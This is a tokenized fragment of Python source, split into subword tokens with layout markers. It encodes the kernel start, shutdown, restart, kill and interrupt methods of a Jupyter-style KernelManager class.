"\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "close", "\\u", "control", "\\u", "socket_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "\\u", "control", "\\u", "socket_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "\\u", "control", "\\u", "socket_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "control", "\\u", "socket_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Kern", "el", "Manager_", "(_", "Connect", "ion", "File", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "start", "\\u", "kernel_", "(_", "self_", ",_", "**_", "kw_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Start", "s", " ", "a", " ", "kernel", " ", "on", " ", "this", " ", "host", " ", "in", " ", "a", " ", "separate", " ", "process", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "If", " ", "random", " ", "port", "s", " ", "(", "port", "=", "0", ")", " ", "are", " ", "bei", "ng", " ", "used", ",", " ", "this", " ", "method", " ", "must", " ", "be", " ", "call", "ed", "\\", "10", ";", " ", " ", " ", " ", "bef", "ore", " ", "the", " ", "channel", "s", " ", "are", " ", "created", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Parameter", "s", "\\", "10", ";", " ", " ", " ", " ", "----------", "\\", "10", ";", " ", " ", " ", " ", "`", "**", "kw", "`", " ", ":", " ", "option", "al", "\\", "10", ";", " ", " ", " ", " ", " ", "keyw", "ord", " ", "argu", "ment", "s", " ", "tha", "t", " ", "are", " ", "pass", "ed", " ", "down", " ", "to", " ", "build", " ", "the", " ", "kernel", "\\u", "cmd", "\\", "10", ";", " ", " ", " ", " ", " ", "and", " ", "launch", "ing", " ", "the", " ", "kernel", " ", "(", "e", ".", "g", ".", " ", "Pop", "en", " ", "kwarg", "s", ").", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "transport_", "==_", "'", "tcp", "'_", "and_", "not_", "is", "\\u", "local", "\\u", "ip_", "(_", "self_", "._", "ip_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Run", "time", "Error_", "(_", "\"", "Can", " ", "only", " ", "launch", " ", "a", " ", "kernel", " ", "on", " ", "a", " ", "local", " ", "interface", ".", " ", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Make", " ", "sure", " ", "tha", "t", " ", "the", " ", "'*", "\\u", "address", "'", " ", "attribute", "s", " ", "are", " ", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "configur", "ed", " ", "proper", "ly", ".", " ", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Curr", "ent", "ly", " ", "valid", " ", "addresse", "s", " ", "are", ":", " ", "%", "s", "\"_", "%_", "local", "\\u", "ips_", "(_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "write", " ", "connecti", "on", " ", "file", " ", "/", " ", "get", " ", "default", " ", "ports_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "write", "\\u", "connecti", "on", "\\u", "file_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "save", " ", "kwarg", "s", " ", "for", " ", "use", " ", "in", " ", "restart_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "\\u", "launch", "\\u", "args_", "=_", "kw_", "._", "copy_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "build", " ", "the", " ", "Pop", "en", " ", "cmd_", "\\u\\u\\uNL\\u\\u\\u_", "extra", "\\u", "arguments_", "=_", "kw_", "._", "pop_", "(_", "'", "extra", "\\u", "argu", "ment", "s", "'_", ",_", "[_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "kernel", "\\u", "cmd_", "=_", "self_", "._", "format\\u", "kernel", "\\u", "cmd_", "(_", "extra", "\\u", "arguments_", "=_", "extra", "\\u", "arguments_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "env_", "=_", "kw_", "._", "pop_", "(_", "'", "env", "'_", ",_", "os_", "._", "environ_", ")_", "._", "copy_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Don", "'", "t", " ", "allow", " ", "PYTHON", "EXECUT", "AB", "LE", " ", "to", " ", "be", " ", "pass", "ed", " ", "to", " ", "kernel", " ", "process", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "set", ",", " ", "it", " ", "can", " ", "bor", "k", " ", "all", " ", "the", " ", "thing", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "env_", "._", "pop_", "(_", "'", "PYTHON", "EXECUT", "AB", "LE", "'_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "self_", "._", "kernel", "\\u", "cmd_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "If", " ", "kernel", "\\u", "cmd", " ", "has", " ", "bee", "n", " ", "set", " ", "manu", "ally", ",", " ", "don", "'", "t", " ", "refer", " ", "to", " ", "a", " ", "kernel", " ", "spec_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Environ", "ment", " ", "variab", "les", " ", "from", " ", "kernel", " ", "spec", " ", "are", " ", "adde", "d", " ", "to", " ", "os", ".", "environ_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "env_", "._", "update_", "(_", "self_", "._", "kernel", "\\u", "spec_", "._", "env_", "or_", "{_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "launch", " ", "the", " ", "kernel", " ", "subprocess_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "log_", "._", "debug_", "(_", "\"", "Start", "ing", " ", "kernel", ":", " ", "%", "s", "\"_", ",_", "kernel", "\\u", "cmd_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "kernel_", "=_", "self_", "._", "\\u", "launch", "\\u", "kernel_", "(_", "kernel", "\\u", "cmd_", ",_", "env_", "=_", "env_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "**_", "kw_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "start", "\\u", "restart", "er_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "connect", "\\u", "control", "\\u", "socket_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Kern", "el", "Manager_", "(_", "Connect", "ion", "File", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "request", "\\u", "shutdown_", "(_", "self_", ",_", "restart_", "=_", "False_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Sen", "d", " ", "a", " ", "shut", "down", " ", "request", " ", "via", " ", "control", " ", "channel", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "content_", "=_", "dict_", "(_", "restart_", "=_", "restart_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "msg_", "=_", "self_", "._", "session_", "._", "msg_", "(_", "\"", "shut", "down", "\\u", "request", "\"_", ",_", "content_", "=_", "content_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "session_", "._", "send_", "(_", "self_", "._", "\\u", "control", "\\u", "socket_", ",_", "msg_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Kern", "el", "Manager_", "(_", "Connect", "ion", "File", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "finish", "\\u", "shutdown_", "(_", "self_", ",_", "wait", "time_", "=_", "1_", ",_", "poll", "interval_", "=_", "0.1_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Wait", " ", "for", " ", "kernel", " ", "shut", "down", ",", " ", "then", " ", "kill", " ", "process", " ", "if", " ", "it", " ", "doe", "sn", "'", "t", " ", "shut", "down", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Thi", "s", " ", "doe", "s", " ", "not", " ", "send", " ", "shut", "down", " ", "request", "s", " ", "-", " ", "use", " ", ":", "meth", ":`", "request", "\\u", "shut", "down", "`", "\\", "10", ";", " ", " ", " ", " ", "first", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", "in_", "range_", "(_", "int_", "(_", "wait", "time_", "/_", "poll", "interval_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "is", "\\u", "alive_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "time_", "._", "sleep_", "(_", "poll", "interval_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "OK", ",", " ", "we", "'", "ve", " ", "wait", "ed", " ", "long", " ", "eno", "ugh", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "has", "\\u", "kernel_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "kill", "\\u", "kernel_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Kern", "el", "Manager_", "(_", "Connect", "ion", "File", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "cleanup_", "(_", "self_", ",_", "connecti", "on", "\\u", "file_", "=_", "True_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Clean", " ", "up", " ", "resource", "s", " ", "whe", "n", " ", "the", " ", "kernel", " ", "is", " ", "shut", " ", "down", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "connecti", "on", "\\u", "file_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "clean", "up", "\\u", "connecti", "on", "\\u", "file_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "clean", "up", "\\u", "ipc", "\\u", "files_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "close", "\\u", "control", "\\u", "socket_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Kern", "el", "Manager_", "(_", "Connect", "ion", "File", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "shut", "down", "\\u", "kernel_", "(_", "self_", ",_", "now_", "=_", "False_", ",_", "restart_", "=_", "False_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Attempts", " ", "to", " ", "the", " ", "stop", " ", "the", " ", "kernel", " ", "process", " ", "clean", "ly", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Thi", "s", " ", "atte", "mpt", "s", " ", "to", " ", "shut", "down", " ", "the", " ", "kernels", " ", "clean", "ly", " ", "by", ":", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "1", ".", " ", "Sen", "ding", " ", "it", " ", "a", " ", "shut", "down", " ", "message", " ", "over", " ", "the", " ", "shell", " ", "channel", ".", "\\", "10", ";", " ", " ", " ", " ", "2", ".", " ", "If", " ", "tha", "t", " ", "fail", "s", ",", " ", "the", " ", "kernel", " ", "is", " ", "shut", "down", " ", "for", "cib", "ly", " ", "by", " ", "sendin", "g", " ", "it", "\\", "10", ";", " ", " ", " ", "a", " ", "signal", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Parameter", "s", "\\", "10", ";", " ", " ", " ", " ", "----------", "\\", "10", ";", " ", " ", " ", " ", "now", " ", ":", " ", "bool", "\\", "10", ";", " ", " ", " ", " ", "Sho", "ul", "d", " ", "the", " ", "kernel", " ", "be", " ", "for", "cib", "le", " ", "kille", "d", " ", "*", "now", "*.", " ", "Thi", "s", " ", "skips", " ", "the", "\\", "10", ";", " ", " ", " ", " ", "first", ",", " ", "nice", " ", "shut", "down", " ", "atte", "mpt", ".", "\\", "10", ";", " ", " ", " ", " ", "restart", ":", " ", "bool", "\\", "10", ";", " ", " ", " ", " ", "Wil", "l", " ", "this", " ", "kernel", " ", "be", " ", "restart", "ed", " ", "after", " ", "it", " ", "is", " ", "shut", "down", ".", " ", "Whe", "n", " ", "this", "\\", "10", ";", " ", " ", " ", " ", "is", " ", "Tru", "e", ",", " ", "connecti", "on", " ", "files", " ", "will", " ", "not", " ", "be", " ", "clean", "ed", " ", "up", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Sto", "p", " ", "monitorin", "g", " ", "for", " ", "restart", "ing", " ", "whi", "le", " ", "we", " ", "shut", "down", "._", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "stop", "\\u", "restart", "er_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "now_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "kill", "\\u", "kernel_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "request", "\\u", "shutdown_", "(_", "restart_", "=_", "restart_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Don", "'", "t", " ", "send", " ", "any", " ", "addition", "al", " ", "kernel", " ", "kill", " ", "message", "s", " ", "immediate", "ly", ",", " ", "to", " ", "give", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "the", " ", "kernel", " ", "a", " ", "chan", "ce", " ", "to", " ", "proper", "ly", " ", "execute", " ", "shut", "down", " ", "action", "s", ".", " ", "Wait", " ", "for", " ", "at_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "most", " ", "1s", ",", " ", "checking", " ", "every", " ", "0.", "1s", "._", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "finish", "\\u", "shutdown_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "cleanup_", "(_", "connecti", "on", "\\u", "file_", "=_", "not_", "restart_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Kern", "el", "Manager_", "(_", "Connect", "ion", "File", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "restart", "\\u", "kernel_", "(_", "self_", ",_", "now_", "=_", "False_", ",_", "**_", "kw_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Restart", "s", " ", "a", " ", "kernel", " ", "with", " ", "the", " ", "argu", "ment", "s", " ", "tha", "t", " ", "wer", "e", " ", "used", " ", "to", " ", "launch", " ", "it", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "If", " ", "the", " ", "old", " ", "kernel", " ", "was", " ", "launched", " ", "with", " ", "random", " ", "port", "s", ",", " ", "the", " ", "same", " ", "port", "s", " ", "will", " ", "be", "\\", "10", ";", " ", " ", " ", " ", "used", " ", "for", " ", "the", " ", "new", " ", "kernel", ".", " ", "The", " ", "same", " ", "connecti", "on", " ", "file", " ", "is", " ", "used", " ", "again", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Parameter", "s", "\\", "10", ";", " ", " ", " ", " ", "----------", "\\", "10", ";", " ", " ", " ", " ", "now", " ", ":", " ", "bool", ",", " ", "option", "al", "\\", "10", ";", " ", " ", " ", " ", "If", " ", "Tru", "e", ",", " ", "the", " ", "kernel", " ", "is", " ", "force", "full", "y", " ", "restart", "ed", " ", "*", "immediate", "ly", "*", ",", " ", "with", "out", "\\", "10", ";", " ", " ", " ", " ", "hav", "ing", " ", "a", " ", "chan", "ce", " ", "to", " ", "do", " ", "any", " ", "clean", "up", " ", "action", ".", " ", " ", "Ot", "her", "wis", "e", " ", "the", " ", "kernel", " ", "is", "\\", "10", ";", " ", " ", " ", " ", "give", "n", " ", "1s", " ", "to", " ", "clean", " ", "up", " ", "bef", "ore", " ", "a", " ", "force", "ful", " ", "restart", " ", "is", " ", "issue", "d", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "In", " ", "all", " ", "case", "s", " ", "the", " ", "kernel", " ", "is", " ", "restart", "ed", ",", " ", "the", " ", "only", " ", "difference", " ", "is", " ", "whe", "ther", "\\", "10", ";", " ", " ", " ", " ", "it", " ", "is", " ", "give", "n", " ", "a", " ", "chan", "ce", " ", "to", " ", "perform", " ", "a", " ", "clean", " ", "shut", "down", " ", "or", " ", "not", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "`", "**", "kw", "`", " ", ":", " ", "option", "al", "\\", "10", ";", " ", " ", " ", " ", "Any", " ", "options", " ", "specified", " ", "here", " ", "will", " ", "overwrit", "e", " ", "tho", "se", " ", "used", " ", "to", " ", "launch", " ", "the", "\\", "10", ";", " ", " ", " ", " ", "kernel", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "\\u", "launch", "\\u", "args_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Run", "time", "Error_", "(_", "\"", "Cann", "ot", " ", "restart", " ", "the", " ", "kernel", ".", " ", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "No", " ", "previ", "ous", " ", "call", " ", "to", " ", "'", "start", "\\u", "kernel", "'.\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Sto", "p", " ", "currentl", "y", " ", "runn", "ing", " ", "kernel", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "shut", "down", "\\u", "kernel_", "(_", "now_", "=_", "now_", ",_", "restart_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Start", " ", "new", " ", "kernel", "._", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "\\u", "launch", "\\u", "args_", "._", "update_", "(_", "kw_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "start", "\\u", "kernel_", "(_", "**_", "self_", "._", "\\u", "launch", "\\u", "args_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Kern", "el", "Manager_", "(_", "Connect", "ion", "File", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "property_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "has", "\\u", "kernel_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Has", " ", "a", " ", "kernel", " ", "bee", "n", " ", "start", "ed", " ", "tha", "t", " ", "we", " ", "are", " ", "mana", "ging", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "self_", "._", "kernel_", "is_", "not_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Kern", "el", "Manager_", "(_", "Connect", "ion", "File", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "kill", "\\u", "kernel_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Kill", " ", "the", " ", "runn", "ing", " ", "kernel", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Thi", "s", " ", "is", " ", "a", " ", "private", " ", "method", ",", " ", "caller", "s", " ", "shou", "ld", " ", "use", " ", "shut", "down", "\\u", "kernel", "(", "now", "=", "Tru", "e", ").", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "has", "\\u", "kernel_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Signal", " ", "the", " ", "kernel", " ", "to", " ", "terminate", " ", "(", "send", "s", " ", "SIG", "KILL", " ", "on", " ", "Uni", "x", " ", "and", " ", "calls_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Terminate", "Process", "()", " ", "on", " ", "Win", "32", ").", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "kernel_", "._", "kill_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "OSE", "rror_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "In", " ", "Window", "s", ",", " ", "we", " ", "will", " ", "get", " ", "an", " ", "Access", " ", "Den", "ied", " ", "error", " ", "if", " ", "the", " ", "process_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "has", " ", "alr", "ead", "y", " ", "terminate", "d", ".", " ", "Ignor", "e", " ", "it", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "sys_", "._", "platform_", "==_", "'", "win32", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "if_", "e_", "._", "wine", "rror_", "!=_", "5_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "raise_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "On", " ", "Uni", "x", ",", " ", "we", " ", "may", " ", "get", " ", "an", " ", "ESR", "CH", " ", "error", " ", "if", " ", "the", " ", "process", " ", "has", " ", "alr", "ead", "y_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "terminate", "d", ".", " ", "Ignor", "e", " ", "it", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "from_", "errno_", "import_", "ESR", "CH_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "e_", "._", "errno_", "!=_", "ESR", "CH_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "raise_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Block", " ", "unti", "l", " ", "the", " ", "kernel", " ", "terminate", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "kernel_", "._", "wait_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "kernel_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Run", "time", "Error_", "(_", "\"", "Cann", "ot", " ", "kill", " ", "kernel", ".", " ", "No", " ", "kernel", " ", "is", " ", "runn", "ing", "!\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Kern", "el", "Manager_", "(_", "Connect", "ion", "File", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "interrupt", "\\u", "kernel_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Interr", "upt", "s", " ", "the", " ", "kernel", " ", "by", " ", "sendin", "g", " ", "it", " ", "a", " ", "signal", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Unli", "ke", " ", "``", "signal", "\\u", "kernel", "``", ",", " ", "this", " ", "operati", "on", " ", "is", " ", "well", " ", "support", "ed", " ", "on", " ", "all", "\\", "10", ";", " ", " ", " ", " ", "platform", "s", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "has", "\\u", "kernel_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "sys_", "._", "platform_", "==_", "'", "win32", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "from_", "._", "win", "\\u", "interrupt", "_", "import_", "send", "\\u", "interrupt", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "send", "\\u", "interrupt", "_", "(_", "self_", "._", "kernel_", "._", "win32", "\\u", "interrupt", "\\u", "event_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "signal", "\\u", "kernel_", "(_", "signal_", "._", "SIGINT_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Run", "time", "Error_", "(_", "\"", "Cann", "ot", " ", "interrupt", " ", "kernel", ".", " ", "No", " ", "kernel", " ", "is", " ", "runn", "ing", "!\"_", 